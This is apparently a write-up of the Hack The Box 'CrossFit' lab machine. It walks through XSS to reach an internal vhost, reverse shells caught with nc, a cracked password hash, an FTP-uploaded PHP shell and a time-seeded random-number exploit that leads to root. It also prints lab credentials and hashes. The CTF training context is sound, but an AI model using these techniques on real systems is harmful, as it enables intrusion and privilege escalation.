┌──(root💀kali)-[~/hackthebox/machine/crossfit] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.208 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) Service Info: Host: Cross; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Now i try everything but nothing work so think about other ways that we need to attack ftp.crossfit.htb.
But the question is where he find that subdomain.
After some hit and try i understand that we need to find that from localhost (using XSS) can see another vhost that only accepts resquest from the local machine and the host is ftp.crossfit.htb that thinking about.
Create a HTTP Request in JS
With the help of this article i find my way to communicate with ftp.crossfit.htb.
So what we do now we create a .js file called luci.js that give the response page of the ftp.crossfit.htb in our python server.
But the tricky part is if you see the source code there is a hidden value called _token which value dynamically change so if we create a payload to register user we need to grep the _token value from web page.
After some hit and try create a payload to register user.
┌──(root💀kali)-[~] └─# nc -lvp 9988 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9988 Ncat: Listening on 0.0.0.0:9988 Ncat: Connection from 10.10.10.208. Ncat: Connection from 10.10.10.208:37118. id bash: cannot set terminal process group (712): Inappropriate ioctl for device bash: no job control in this shell www-data@crossfit:/var/www/development-test$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@crossfit:/var/www/development-test$ whoami whoami www-data
Boom we got the shell as www-data.
Now let’s run the linPEAS.
LinPEAS - Linux Privilege Escalation Awesome Script
1 2 3 4 5
www-data@crossfit:/var/www/development-test$ ./linpeas.sh > info ./linpeas.sh > info ls: cannot access '/etc/hosts.denied': No such file or directory grep: write error: Broken pipe www-data@crossfit:/var/www/development-test$
After analyze the output i found two interesting things.
First is crontabs
They run send_updates.php file that’s look suspicious.
* * * * * isaac /usr/bin/php /home/isaac/send_updates/send_updates.php
Second is 2 hashes in the linPEAS result.
1 2 3
[+] Looking for specific hashes inside files - less false positives (limit 70) /etc/ansible/playbooks/adduser_hank.yml:$6$e20D6nUeTJOIyRio$A777Jj8tk5.sfACzLuIqqfZOCsKTVCfNEQIbH79nZf09mM.Iov/pzDCE8xNZZCM9MuHKMcjqNUd8QUEzC1CZG/ /var/www/ftp/database/factories/UserFactory.php:$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi
┌──(root💀kali)-[~/hackthebox/machine/crossfit] └─# john -w=/usr/share/wordlists/rockyou.txt hash Warning: only loading hashes of type"sha512crypt", but also saw type"bcrypt" Use the "--format=bcrypt" option to force loading hashes of that type instead Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status powerpuffgirls (?) 1g 0:00:00:05 DONE (2020-11-28 09:51) 0.1919g/s 4618p/s 4618c/s 4618C/s tajmahal..hunibuni Use the "--show" option to display all of the cracked passwords reliably Session completed
And we got the password called powerpuffgirls
And this hash is for hank user that we see in linPEAS result.
Let’s try to ssh in and got our user.txt flag.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
┌──(root💀kali)-[~/hackthebox/machine/crossfit] └─# ssh hank@10.10.10.208 hank@10.10.10.208's password: Linux crossfit 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. No mail. Last login: Mon Sep 21 05:46:24 2020 from 10.10.14.2 hank@crossfit:~$ ls user.txt hank@crossfit:~$ cat user.txt d6ce5237244a14992edde7f0b62b6076
hank@crossfit:~$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
lftp ftpadm@10.10.10.208:/messages> ls lftp ftpadm@10.10.10.208:/messages> put rev.php 69 bytes transferred in 9 seconds (8 B/s) lftp ftpadm@10.10.10.208:/messages> ls -rw-r--r-- 1 1003 1004 69 Nov 28 15:35 rev.php
Let’s login in mysql database.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
hank@crossfit:~$ mysql -h localhost -ucrossfit -poeLoo~y2baeni Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 2613 Server version: 10.3.22-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
┌──(root💀kali)-[~] └─# nc -lvp 9001 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.10.208. Ncat: Connection from 10.10.10.208:43934. bash: cannot set terminal process group (27903): Inappropriate ioctl for device bash: no job control in this shell isaac@crossfit:~$ id id uid=1000(isaac) gid=1000(isaac) groups=1000(isaac),50(staff),116(ftp),1005(admins) isaac@crossfit:~$ whoami whoami isaac
Boom we got the shell for isaac.
Now let’s run the pspy to see the which proccess are running inside the box.
┌──(root💀kali)-[~/hackthebox/machine/crossfit] └─# nc -lvp 9002 > dbmsg Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9002 Ncat: Listening on 0.0.0.0:9002 Ncat: Connection from 10.10.10.208. Ncat: Connection from 10.10.10.208:58104.
Now let’s analize this in ghidra.
ghidra
main function
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
void main(void)
{ __uid_t _Var1; time_t tVar2; _Var1 = geteuid(); if (_Var1 != 0) { fwrite("This program must be run as root.\n",1,0x22,stderr); /* WARNING: Subroutine does not return */ exit(1); } tVar2 = time((time_t *)0x0); srand((uint)tVar2); process_data(); /* WARNING: Subroutine does not return */ exit(0); }
After analize the program i unserstand that
The dbmsg program runs every minute and generates a random number with a “seed” or “base” of the time of the remote machine. with which we can create a C program that runs at the same time as dbmsg. this will create the same random number, always the best is in C since we have to use system libraries like the GNU / Libc glibc random number generator since the binary also uses it.
Let’s create the little program or at other words exploit:
┌──(root💀kali)-[~/hackthebox/machine/crossfit] └─# ssh-keygen -t ed25519 -f id_rsa Generating public/private ed25519 key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in id_rsa Your public key has been saved in id_rsa.pub The key fingerprint is: SHA256:JKM0G1B6lxUQmO715Pq2UBdJoOe9QJjfmeU7tYIwdl4 root@kali The key's randomart image is: +--[ED25519 256]--+ | ...ooo+o. | | oo * . . | | ..= O + o . | | o.*.O.o * | | .o. +S B E . | | . ooB + o . | | .. + + . | | ... o | | oo. | +----[SHA256]-----+ ┌──(root💀kali)-[~/hackthebox/machine/crossfit] └─# la -la | grep id_ -rw------- 1 root root 399 11月 28 11:45 id_rsa -rw-r--r-- 1 root root 91 11月 28 11:45 id_rsa.pub
Now create one more file called root.sh that will automate our process.
isaac@crossfit:~$ ls -la ls -la total 68 drwxr-xr-x 7 isaac isaac 4096 Nov 28 11:58 . drwxr-xr-x 4 root root 4096 Sep 21 04:00 .. lrwxrwxrwx 1 root root 9 May 12 2020 .bash_history -> /dev/null -rw-r--r-- 1 isaac isaac 220 Apr 27 2020 .bash_logout -rw-r--r-- 1 isaac isaac 3526 Apr 27 2020 .bashrc drwx------ 5 isaac isaac 4096 May 4 2020 .cache drwxr-xr-x 4 isaac isaac 4096 May 11 2020 .config -rw-r--r-- 1 isaac isaac 16736 Nov 28 11:44 exploit drwx------ 3 isaac isaac 4096 Apr 28 2020 .gnupg drwxr-xr-x 3 isaac isaac 4096 May 4 2020 .local lrwxrwxrwx 1 isaac isaac 9 May 4 2020 .mysql_history -> /dev/null -rw-r--r-- 1 isaac isaac 807 Apr 27 2020 .profile lrwxrwxrwx 1 root root 9 May 12 2020 .python_history -> /dev/null -rw-r--r-- 1 isaac isaac 369 Nov 28 11:52 root.sh -rw-r--r-- 1 isaac isaac 74 May 5 2020 .selected_editor drwxr-x--- 4 isaac admins 4096 May 9 2020 send_updates isaac@crossfit:~$ chmod 777 * chmod 777 *
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Sep 21 04:46:55 2020 root@crossfit:~# id uid=0(root) gid=0(root) groups=0(root) root@crossfit:~# whoami root root@crossfit:~# ls cleanup.sh delete_ftp_users.sh root.txt root@crossfit:~# cat root.txt 961252b5bd669e97c7ab25e93fc1a3a3
now we got root, and read the root.txt
Summary of knowledge
use xss + structured js file to read web pages
structured js file to excecute php page
use john crack hashs
php escapeArgs option is not working properly
crontab + mysql to get a reverse shell
use pspy to get service runs progresses
nc transfer files
ghidra anlaliys file
ed25519 ssh key + random number generator + bash script to privesc
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…